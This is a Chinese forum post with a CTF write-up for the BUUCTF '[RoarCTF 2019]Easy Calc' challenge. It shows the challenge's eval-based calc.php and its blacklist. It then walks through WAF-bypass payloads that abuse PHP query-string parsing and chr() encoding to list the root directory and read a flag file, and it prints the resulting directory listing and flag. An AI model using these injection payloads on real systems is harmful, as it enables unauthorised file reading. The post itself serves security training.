找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 123|回复: 0

BUUCTF靶场17 -- [RoarCTF 2019]Easy Calc

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-2 17:06:44 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场17 --[RoarCTF 2019]Easy Calc

2.png

[PHP] 纯文本查看 复制代码
<html>
<body>
  <form id="calc">
    <div class="form-group">
      <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
    </div>
    <div id="result"><div class="alert alert-success">
            </div></div>
    <button type="submit" class="btn btn-primary">计算</button>
  </form>

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

</body></html>


看完题后有思路么?

输入会出现结果。
2、分析代码信息,显示存在num参数,那就传输num参数进行尝试,发现传输num参数时仅可传输数字型参数,当传入字符型时会显示禁止访问,根据第一步的waf提示,想到这里应该是被waf给过滤了,过程如下:
5.png

3、根据源代码信息我们最终肯定要通过eval函数来执行命令代码,因此现在就需要来绕过对字符串的检测,num=a时被拦截,那waf肯定接受了num参数并进行了检测,那我们根据php的解析规则:这里借用一个图说明,具体的可以去了解php解析规则:原理1:利用PHP的字符串解析特性

参考文章:利用PHP的字符串解析特性Bypass


[Plain Text] 纯文本查看 复制代码
PHP将查询字符串(在URL或正文中)转换为内部$_GET或关联数组$_POST。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
/?foo=bar变成Array([foo]=> “bar”)。
/? foo=bar变成Array([foo]=> “bar”)。 //?号后有一个空格
/?+foo=bar变成Array([foo]=> “bar”)。 //?号后有一个+号




7.png
查看源码发现提示


1.png
WAF是什么呢,查阅资料:

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

根据我的理解,应该是一个类似与防火墙的东西

查看一下calc.php文件,可以得知被过滤的字符

[PHP] 纯文本查看 复制代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>


4、实现绕过之后那就开始读取当前的目录信息,获取flag文件的信息:

scandir():列出目录中的文件和目录

原理2:利用scandir()列出目录和文件,var_dump()用于输出

scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo



[Bash shell] 纯文本查看 复制代码
// 以升序排序 - 默认
$a = scandir($dir);
 
// 以降序排序
$b = scandir($dir,1);


chr():从不同的 ASCII 值返回字符

因为/被过滤 所以使用chr(47)来替代

构造payload


[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))

3.png

空格绕过

  在num前加一个空格,进行目录读取

[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:25834/calc.php? num=var_dump(scandir(chr(47)))




[PHP] 纯文本查看 复制代码
Array
(
    [0] => .
    [1] => ..
    [2] => .dockerenv
    [3] => bin
    [4] => boot
    [5] => dev
    [6] => etc
    [7] => f1agg
    [8] => home
    [9] => lib
    [10] => lib64
    [11] => media
    [12] => mnt
    [13] => opt
    [14] => proc
    [15] => root
    [16] => run
    [17] => sbin
    [18] => srv
    [19] => start.sh
    [20] => sys
    [21] => tmp
    [22] => usr
    [23] => var
)


发现根目录下面有个f1agg 文件,试着读取

5、获得f1agg文件名称后就读取文件信息内容,

原理3:利用file_get_contents()读取并输出文件内容

例如 file_get_contents(/flag.php),读取/flag.php的代码

file_get_contents():把整个文件读入一个字符串中


4.png

因为引号也被过滤了,所以flagg也需要使用chr函数


构造payload

payload:
[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:28804/calc.php?%20num=file_get_contents(chr(47).f1agg)

[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:27343/calc.php?+num=print_r(readfile(chr(47).f1agg));


[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:27343/calc.php?+num=file_get_contents(readfile(chr(47).f1agg));


[PHP] 纯文本查看 复制代码
http://node4.buuoj.cn:27343/calc.php?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))





flag{d5c9f964-7190-4095-84c6-eef6cc104dc4} 1


参考:
    https://www.freebuf.com/fevents/207936.html

    https://www.cnblogs.com/upfine/p/16471867.html

    https://blog.csdn.net/weixin_52116519/article/details/124212036




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 04:45

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表